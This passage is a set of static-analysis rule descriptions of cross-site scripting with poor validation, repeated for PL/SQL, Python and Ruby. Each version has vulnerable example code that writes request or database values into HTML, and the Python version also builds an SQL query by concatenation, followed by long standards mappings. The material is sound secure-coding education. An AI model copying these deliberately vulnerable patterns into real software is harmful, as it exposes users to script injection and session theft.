HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee ID: ' || HTMLDB_UTIL.url_encode(eid) || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following code segment queries a database for an employee with a given ID and prints the corresponding URL-encoded employee's name.


...
SELECT ename INTO name FROM emp WHERE id = eid;
HTP.htmlOpen;
HTP.headOpen;
HTP.title ('Employee Information');
HTP.headClose;
HTP.bodyOpen;
HTP.br;
HTP.print('< b >Employee Name: ' || HTMLDB_UTIL.url_encode(name) || '</ b >');
HTP.br;
HTP.bodyClose;
HTP.htmlClose;
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.sql.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Python code segment reads an employee ID, eid, from an HTTP request, HTML-encodes it, and displays it to the user.


req = self.request() # fetch the request object
eid = req.field('eid',None) # tainted request message
...
self.writeln("Employee ID:" + escape(eid))


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS.

Example 2: The following Python code segment queries a database for an employee with a given ID and prints the corresponding HTML-encoded employee's name.


...
cursor.execute("select * from emp where id="+eid)
row = cursor.fetchone()
self.writeln('Employee name: ' + escape(row["emp"]))
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation on all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.python.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding functions will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding functions is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, the Fortify Secure Coding Rulepacks report cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

1. Data enters a web application through an untrusted source. In the case of reflected XSS, the untrusted source is typically a web request, while in the case of persisted (also known as stored) XSS it is typically a database or other back-end data store.


2. The data is included in dynamic content that is sent to a web user without validation.

The malicious content sent to the web browser often takes the form of a JavaScript segment, but can also include HTML, Flash or any other type of code that the browser executes. The variety of attacks based on XSS is almost limitless, but they commonly include transmitting private data such as cookies or other session information to the attacker, redirecting the victim to web content controlled by the attacker, or performing other malicious operations on the user's machine under the guise of the vulnerable site.

Example 1: The following Ruby code segment reads an employee ID, eid, from an HTTP request, HTML-encodes it, and displays it to the user.


eid = req.params['eid'] #gets request parameter 'eid'
Rack::Response.new.finish do |res|
...
res.write("Employee ID: #{eid}")
end


The code in this example operates correctly if eid contains only standard alphanumeric text. If eid has a value that includes metacharacters or source code, then the code is executed by the web browser as it displays the HTTP response.

Initially this might not appear to be much of a vulnerability. After all, why would someone enter a URL that causes malicious code to run on their own computer? The real danger is that an attacker will create the malicious URL, then use email or social engineering tricks to lure victims into visiting a link to the URL. When victims click the link, they unwittingly reflect the malicious content through the vulnerable web application back to their own computers. This mechanism of exploiting vulnerable web applications is known as Reflected XSS, however please note that if using Rack::Request#params() as in Example 1, this sees both GET and POST parameters, so may be vulnerable to various types of attacks other than just having the malicious code appended to the URL.

Example 2: The following Ruby code segment queries a database for an employee with a given ID and prints the corresponding HTML-encoded employee's name.


...
rs = conn.exec_params("select * from emp where id=?", eid)
...
Rack::Response.new.finish do |res|
...
rs.each do |row|
res.write("Employee name: #{escape(row['name'])}")
...
end
end
...


As in Example 1, this code functions correctly when the values of name are well-behaved, but it does nothing to prevent exploits if they are not. Again, this code can appear less dangerous because the value of name is read from a database, whose contents are apparently managed by the application. However, if the value of name originates from user-supplied data, then the database can be a conduit for malicious content. Without proper input validation of all data stored in the database, an attacker may execute malicious commands in the user's web browser. This type of exploit, known as Persistent (or Stored) XSS, is particularly insidious because the indirection caused by the data store makes it difficult to identify the threat and increases the possibility that the attack might affect multiple users. XSS got its start in this form with web sites that offered a "guestbook" to visitors. Attackers would include JavaScript in their guestbook entries, and all subsequent visitors to the guestbook page would execute the malicious code.

As the examples demonstrate, XSS vulnerabilities are caused by code that includes unvalidated data in an HTTP response. There are three vectors by which an XSS attack can reach a victim:

- As in Example 1, data is read directly from the HTTP request and reflected back in the HTTP response. Reflected XSS exploits occur when an attacker causes a user to supply dangerous content to a vulnerable web application, which is then reflected back to the user and executed by the web browser. The most common mechanism for delivering malicious content is to include it as a parameter in a URL that is posted publicly or emailed directly to victims. URLs constructed in this manner constitute the core of many phishing schemes, whereby an attacker convinces victims to visit a URL that refers to a vulnerable site. After the site reflects the attacker's content back to the user, the content is executed and proceeds to transfer private information, such as cookies that might include session information, from the user's machine to the attacker or perform other nefarious activities.

- As in Example 2, the application stores dangerous data in a database or other trusted data store. The dangerous data is subsequently read back into the application and included in dynamic content. Persistent XSS exploits occur when an attacker injects dangerous content into a data store that is later read and included in dynamic content. From an attacker's perspective, the optimal place to inject malicious content is in an area that is displayed to either many users or particularly interesting users. Interesting users typically have elevated privileges in the application or interact with sensitive data that is valuable to the attacker. If one of these users executes malicious content, the attacker may be able to perform privileged operations on behalf of the user or gain access to sensitive data belonging to the user.

- A source outside the application stores dangerous data in a database or other data store, and the dangerous data is subsequently read back into the application as trusted data and included in dynamic content.
References
[1] Understanding Malicious Content Mitigation for Web Developers CERT
[2] HTML 4.01 Specification W3
[3] Standards Mapping - Common Weakness Enumeration CWE ID 82, CWE ID 83, CWE ID 87, CWE ID 692
[4] Standards Mapping - Common Weakness Enumeration Top 25 2019 [2] CWE ID 079
[5] Standards Mapping - Common Weakness Enumeration Top 25 2020 [1] CWE ID 079
[6] Standards Mapping - Common Weakness Enumeration Top 25 2021 [2] CWE ID 079
[7] Standards Mapping - Common Weakness Enumeration Top 25 2022 [2] CWE ID 079
[8] Standards Mapping - Common Weakness Enumeration Top 25 2023 [2] CWE ID 079
[9] Standards Mapping - Common Weakness Enumeration Top 25 2024 [1] CWE ID 079
[10] Standards Mapping - DISA Control Correlation Identifier Version 2 CCI-001310, CCI-002754
[11] Standards Mapping - FIPS200 SI
[12] Standards Mapping - General Data Protection Regulation (GDPR) Indirect Access to Sensitive Data
[13] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[14] Standards Mapping - NIST Special Publication 800-53 Revision 5 SI-10 Information Input Validation
[15] Standards Mapping - OWASP Application Security Verification Standard 4.0 5.3.3 Output Encoding and Injection Prevention Requirements (L1 L2 L3), 5.3.6 Output Encoding and Injection Prevention Requirements (L1 L2 L3)
[16] Standards Mapping - OWASP Mobile 2014 M7 Client Side Injection
[17] Standards Mapping - OWASP Mobile 2024 M4 Insufficient Input/Output Validation
[18] Standards Mapping - OWASP Top 10 2004 A4 Cross Site Scripting
[19] Standards Mapping - OWASP Top 10 2007 A1 Cross Site Scripting (XSS)
[20] Standards Mapping - OWASP Top 10 2010 A2 Cross-Site Scripting (XSS)
[21] Standards Mapping - OWASP Top 10 2013 A3 Cross-Site Scripting (XSS)
[22] Standards Mapping - OWASP Top 10 2017 A7 Cross-Site Scripting (XSS)
[23] Standards Mapping - OWASP Top 10 2021 A03 Injection
[24] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.4
[25] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1, Requirement 6.5.1
[26] Standards Mapping - Payment Card Industry Data Security Standard Version 2.0 Requirement 6.5.7
[27] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.7
[28] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.7
[29] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.7
[30] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2.1 Requirement 6.5.7
[31] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0 Requirement 6.2.4
[32] Standards Mapping - Payment Card Industry Data Security Standard Version 4.0.1 Requirement 6.2.4
[33] Standards Mapping - Payment Card Industry Software Security Framework 1.0 Control Objective 4.2 - Critical Asset Protection
[34] Standards Mapping - Payment Card Industry Software Security Framework 1.1 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation
[35] Standards Mapping - Payment Card Industry Software Security Framework 1.2 Control Objective 4.2 - Critical Asset Protection, Control Objective B.3.1 - Terminal Software Attack Mitigation, Control Objective B.3.1.1 - Terminal Software Attack Mitigation, Control Objective C.3.2 - Web Software Attack Mitigation
[36] Standards Mapping - SANS Top 25 2009 Insecure Interaction - CWE ID 116
[37] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I, APP3580 CAT I
[38] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I, APP3580 CAT I
[39] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I, APP3580 CAT I
[40] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I, APP3580 CAT I
[41] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I, APP3580 CAT I
[42] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I, APP3580 CAT I
[43] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I, APP3580 CAT I
[44] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[45] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[46] Standards Mapping - Security Technical Implementation Guide Version 4.4 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[47] Standards Mapping - Security Technical Implementation Guide Version 4.5 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[48] Standards Mapping - Security Technical Implementation Guide Version 4.6 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[49] Standards Mapping - Security Technical Implementation Guide Version 4.7 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[50] Standards Mapping - Security Technical Implementation Guide Version 4.8 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[51] Standards Mapping - Security Technical Implementation Guide Version 4.9 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[52] Standards Mapping - Security Technical Implementation Guide Version 4.10 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[53] Standards Mapping - Security Technical Implementation Guide Version 4.11 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[54] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[55] Standards Mapping - Security Technical Implementation Guide Version 5.1 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[56] Standards Mapping - Security Technical Implementation Guide Version 5.2 APSC-DV-002490 CAT I, APSC-DV-002560 CAT I
[57] Standards Mapping - Security Technical Implementation Guide Version 5.3 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[58] Standards Mapping - Security Technical Implementation Guide Version 6.1 APSC-DV-002490 CAT I, APSC-DV-002530 CAT II, APSC-DV-002560 CAT I
[59] Standards Mapping - Web Application Security Consortium Version 2.00 Cross-Site Scripting (WASC-08)
[60] Standards Mapping - Web Application Security Consortium 24 + 2 Cross-Site Scripting
desc.dataflow.ruby.cross_site_scripting_poor_validation
Abstract
Relying on HTML, XML, and other types of encoding to validate user input can result in the browser executing malicious code.
Explanation
The use of certain encoding constructs, will prevent some, but not all cross-site scripting attacks. Depending on the context in which the data appear, characters beyond the basic <, >, &, and " that are HTML-encoded and those beyond <, >, &, ", and ' that are XML-encoded may take on meta-meaning. Relying on such encoding constructs is equivalent to using a weak deny list to prevent cross-site scripting and might allow an attacker to inject malicious code that will be executed in the browser. Because accurately identifying the context in which the data appear statically is not always possible, Fortify Static Code Analyzer reports cross-site scripting findings even when encoding is applied and presents them as Cross-Site Scripting: Poor Validation issues.

Cross-site scripting (XSS) vulnerabilities occur when:

